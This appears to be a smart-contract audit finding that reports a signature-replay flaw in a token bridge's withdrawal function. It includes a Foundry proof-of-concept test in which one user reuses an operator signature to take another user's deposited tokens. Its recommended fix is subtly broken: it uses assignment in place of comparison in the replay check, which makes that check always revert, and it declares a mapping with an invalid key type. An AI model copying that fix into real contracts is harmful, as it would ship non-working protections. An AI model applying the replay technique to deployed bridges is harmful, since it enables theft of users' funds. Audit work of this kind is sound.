Summary
A user depositing to the bridge can reuse a signature to steal funds from other users. There is no code to check for whether a given signature has already been used.
Test
I wrote this test to prove that you can reuse a signature. You have to create a second user user2. The first user has 10000 tokens to begin with and deposits 500 and the second user has 10000 tokens and deposits 2500. Then the first user repeatedly calls withdrawTokensToL1
for 500 tokens and ends up with 11000 tokens despite starting with 10000 (stealing tokens from user2).
function testUserCanReusehOperatorSignatureToStealFunds() public {
vm.startPrank(user);
uint256 depositAmount = 500;
uint256 userInitialBalance = token.balanceOf(address(user));
console2.log("user initial balance:", userInitialBalance);
console2.log("vault initial balance:", token.balanceOf(address(vault)));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, user, depositAmount);
console2.log(
"vault balance after one user deposit:",
token.balanceOf(address(vault))
);
vm.stopPrank();
vm.startPrank(user2);
uint256 user2InitialBalance = token.balanceOf(address(user2));
console2.log("user2 initial balance:", user2InitialBalance);
token.approve(address(tokenBridge), depositAmount * 5);
tokenBridge.depositTokensToL2(user2, user2, depositAmount * 5);
console2.log(
"vault balance after user2 deposit:",
token.balanceOf(address(vault))
);
vm.stopPrank();
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
console2.log(
"user balance after one WD:",
token.balanceOf(address(user))
);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
console2.log(
"user balance after two WD:",
token.balanceOf(address(user))
);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
console2.log(
"user balance after three WD:",
token.balanceOf(address(user))
);
}
Impact
One user can steal funds from another.
Tools Used
Foundry
Recommendations
I recommend multiple changes to address this. First, you should switch to using one combined signature instead of v, r, s separately (and calling the other ECDSA.recover function which takes the hashed message and signature instead of the hashed message and v, r, s), and then you should push each signature to a mapping after it is used. Then you can add a check that that signature hasn't been used before. See changes below. But I also recommend having signatures expire, and I recommend adding a nonce to the signature.
Here are the changes to add a check that the signature hasn't been used before:
First add a private mapping s_signatureToUsed:
mapping (bytes memory => bool) private s_signatureToUsed;
Then modify sendToL1
so that a used signature is set to true in s_signatureUsed
and to add a check at the beginning of the function that s_signatureToUsed[signature]
is not true:
function sendToL1(
bytes memory signature,
bytes memory message
) public nonReentrant whenNotPaused {
if(signature.length != 65) {
revert BossBridge__InvalidSignature();}
if(s_signatureToUsed[signature] = true) {
revert BossBridge__SignatureAlreadyUsed();}
address signer = ECDSA.recover(
MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
signature
);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(
message,
(address, uint256, bytes)
);
(bool success, ) = target.call{value: value}(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
if(success) {
s_signatureToUsed[signature] = true;}
}